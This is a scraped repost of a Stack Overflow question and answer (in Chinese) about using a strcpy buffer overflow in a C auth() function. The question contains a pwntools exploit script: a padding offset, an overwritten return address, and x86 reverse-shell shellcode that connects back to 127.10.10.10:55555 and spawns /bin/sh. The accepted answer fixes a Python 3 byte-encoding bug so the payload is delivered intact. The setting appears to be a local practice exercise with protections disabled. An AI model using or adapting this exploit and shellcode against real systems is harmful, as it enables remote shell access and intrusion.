gpt4 book ai didi

c - 缓冲区溢出: send exploit with pwntools changes bytes

转载 作者:行者123 更新时间:2023-11-30 19:00:41 26 4
gpt4 key购买 nike

我正在尝试利用以下功能:

int auth(char *username, char *password) {
char userpass[16];
char *response;
if (debugmode == 1) {
printf("Debug: userpass buffer @ %p\n", userpass);
fflush(stdout);
}
if (strcmp(username, "admin") != 0) return 0; printf("***** password %p\n", password); fflush(stdout);
strcpy(userpass, password);
if (strcmp(userpass, "1974jailbreak!") == 0) {
return 1;
} else {
printf("Incorrect username and/or password.\n");
return 0;
}
return 0;
}

缓冲区溢出发生在strcpy()处。

我使用 -m32 -z execstack -fno-stack-protector 编译它,并将 /proc/sys/kernel/randomize_va_space 设置为 0.

堆栈看起来像:28 个字节到 EIP、EIP、shellcode。

我正在使用 pwntools 来利用它:

from pwn import *
junk = ('AAA%AAsAABAA$AAnAACAA-AA(AAD')
leaked = p32(0xffffcca0+28+4)
buf = "\x68" # from http://shell-storm.org/shellcode/files/shellcode-833.php
buf += "\xff\x0a\x0a\x0a" # <- IP Number "127.10.10.10"
buf += "\x5e\x66\x68"
buf += "\xd9\x03" # <- Port Number "55555"
buf += "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
buf += "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
buf += "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
buf += "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
buf += "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
buf += "\xeb\xce"

p = remote('127.0.0.1', 4455)
p.sendline("PASS ".encode() + junk.encode() + leaked + buf.encode())

这是 pwntools 发送的内容:

bytes sent by pwntools

shellcode 明显不同,我的漏洞利用不起作用。如何发送正确的字节?

编辑:我正在使用python3。 @Ctx 正确地指出这是由于编码造成的。

$ cat test.py
print ("a" + bytes("b"))

$ python2 test.py
ab

$ python3 test.py
Traceback (most recent call last):
File "test.py", line 1, in <module>
print ("a" + bytes("b"))
TypeError: string argument without an encoding

最佳答案

在这一行

p.sendline("PASS ".encode() + junk.encode() + leaked + buf.encode())

您将缓冲区编码为UTF-8。这不是您想要的,您想按原样发送它们。

即latin-1 中的 "\xff" 编码为 UTF-8 中的 "\xc3\xbf"

删除.encode()调用,然后应该发送正确的字节。根据函数 p32() 的不同,可能需要对 leaked 调用 bytes(),如下所示:

p.sendline("PASS " + junk + bytes(leaked) + buf)

关于c - 缓冲区溢出: send exploit with pwntools changes bytes,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/59194425/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com